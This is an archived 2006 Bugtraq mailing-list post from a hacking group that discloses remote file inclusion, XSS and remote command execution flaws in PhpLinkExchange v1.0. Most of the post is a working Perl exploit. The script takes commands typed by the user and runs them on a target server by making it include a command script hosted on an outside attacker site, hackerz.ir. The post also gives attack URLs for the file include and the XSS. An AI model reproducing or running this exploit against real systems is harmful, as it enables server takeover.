bugtraq - PhpLinkExchange v1.0 RFI + RC + Xss [RC-exploit]

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060909010737.7238.qmail@securityfocus.com>
Date: 9 Sep 2006 01:07:37 -0000
From: ali@...kerz.ir
To: bugtraq@...urityfocus.com
Subject: PhpLinkExchange v1.0  RFI + RC + Xss [RC-exploit]

vendor :www.idevspot.com
Demo : www.idevspot.com/demo/PhpStart/PhpLinkExchange
By : s3rv3r_hack3r
www: hackerz.ir & h4ckerz.com
remote file include :
http://www.domain.com/PhpLinkExchange/bits_listings.php?svr_rootPhpStart=[shell.txt?]
xss:
http://www.domain.com/PhpLinkExchange/user_add.php?msg=[xss]
remote command Exploit : 
#!/usr/bin/perl
#
# Exploit by s3rv3r_hack3r
######################################################
# ___ ___ __ #
# / | \_____ ____ | | __ ___________________ #
#/ ~ \__ \ _/ ___\| |/ // __ \_ __ \___ / #
#\ Y // __ \\ \___| <\ ___/| | \// / #
# \___|_ /(____ )\___ >__|_ \\___ >__| /_____ \ #
# \/ \/ \/ \/ \/ \/ #
# Iran Hackerz Security Team #
# WebSite: www.hackerz.ir & www.h4ckerz.com
######################################################
use LWP::Simple;

print "-------------------------------------------\n";
print "= Iran hacekerz security team =\n";
print "= By s3rv3r_hack3r - www.hackerz.ir =\n";
print "-------------------------------------------\n\n";

print "Target >http://";
chomp($targ = <STDIN>);
print "your web site name >";
chomp($cmd= <STDIN>);


$con=get("http://".$targ."/bits_listings.php") || die "[-]Cannot connect to Host"; 
while () 
{ 
print "command\$";
chomp($cmd=<STDIN>);
$commd=get("http://".$targ."/bits_listings.php?svr_rootPhpStart=http://www.hackerz.ir/cmd.txt?cmd=".$cmd)
}
+++++